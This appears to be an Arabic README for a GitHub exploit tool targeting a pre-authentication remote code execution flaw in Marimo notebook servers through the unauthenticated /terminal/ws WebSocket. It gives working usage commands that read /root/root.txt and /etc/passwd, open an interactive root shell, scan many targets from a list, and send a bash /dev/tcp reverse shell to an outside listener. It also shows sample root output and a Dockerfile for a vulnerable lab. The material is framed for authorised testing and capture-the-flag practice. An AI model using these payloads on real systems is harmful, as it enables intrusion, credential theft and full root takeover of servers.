
استغلال لثغرة تنفيذ الأوامر عن بُعد (RCE) قبل المصادقة في Marimo عبر WebSocket الطرفية، يوفر تنفيذ الأوامر، وقشرة PTY تفاعلية، وقدرات قشرة عكسية لاختبار الاختراق المصرح به.
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
WebSocket Unauthenticated RCE | github.com/Ghxstsec/CVE-2026-39987
Marimo (19.6k ⭐) هو خادم دفاتر ملاحظات Python تفاعلي مفتوح المصدر. الإصدارات ≤ 0.20.4 تعرّض نقطة نهاية WebSocket طرفية (/terminal/ws) تتجاوز المصادقة تمامًا، حتى عند تفعيل المصادقة على الخادم.
اتصال WebSocket واحد غير مصادق عليه يمنح قشرة تفاعلية PTY كاملة. في نشرات Docker الافتراضية، تُنفَّذ الأوامر بصلاحيات root.
الحالة: تم إصلاحه في
0.23.0— marimo-team/marimo@c24d480
نقطة النهاية /terminal/ws تفتقر إلى استدعاء validate_auth() الموجود في كل نقطة نهاية أخرى مصادق عليها:
# ❌ /terminal/ws — no auth check (vulnerable)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# No authentication check!
await websocket.accept() # accepts directly
child_pid, fd = pty.fork() # spawns a PTY shell
# ✅ /ws — correctly authenticated
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # auth enforced
return
AuthenticationMiddleware في Marimo يعلّم الاتصالات غير المصادق عليها كـ UnauthenticatedUser لكنه لا يرفضها — يعتمد التنفيذ كليًا على الديكورات الخاصة بكل نقطة نهاية أو استدعاءات validate_auth(). نقطة النهاية /terminal/ws لا تملك أيًا منهما.
1. Connect to ws(s)://TARGET/terminal/ws → no token required
2. websocket.accept() → connection accepted
3. pty.fork() → PTY shell spawned
4. Send any command → arbitrary RCE as root
| البرنامج | المتأثر | المُصلَح |
|---|---|---|
| Marimo | ≤ 0.20.4 | ≥ 0.23.0 |
pip install -r requirements.txt
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"
ادخل مباشرة إلى قشرة تفاعلية عبر WebSocket — لا حاجة لمستمع:
python3 CVE-2026-39987.py -u target.htb -i
[+] Interactive shell — type commands, Ctrl+C or 'exit' to quit
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root
عند استخدام حمولة قشرة عكسية، افصل العملية عن PTY باستخدام nohup ... &
حتى تبقى على قيد الحياة عند إغلاق اتصال WebSocket:
# Set up listener first
nc -lvnp 4444
# Then fire the payload
python3 CVE-2026-39987.py -u target.htb \
-c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"
⚠️ بدون
nohup ... &، تكون عملية القشرة مرتبطة بـ PTY وتُقتل عند إغلاق WebSocket. استخدم-iلقشرة مباشرة أوnohupللقشور العكسية.
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
-u URL, --url URL single target URL or host
-l LIST, --list LIST file with targets, one per line
-c CMD, --cmd CMD command to execute (default: id && cat /root/root.txt)
-p PATH, --path PATH WebSocket endpoint path (default: /terminal/ws)
-t SEC, --timeout SEC seconds of silence before giving up (default: 2)
-d SEC, --delay SEC post-connect delay before draining banner (default: 1)
-i, --interactive interactive PTY shell — keeps connection open
--verify enable SSL certificate verification (disabled by default)
-q, --quiet suppress status messages, output only
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
[*] Target : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] Mode : command
[*] Command : id && cat /root/root.txt
[*] Connecting...
[*] Draining banner...
[+] Sending payload...
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
هذه الأداة مقدمة لأغراض تعليمية واختبار الاختراق المصرح به فقط.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
احصل دائمًا على التصريح المناسب قبل اختبار أي نظام لا تملكه.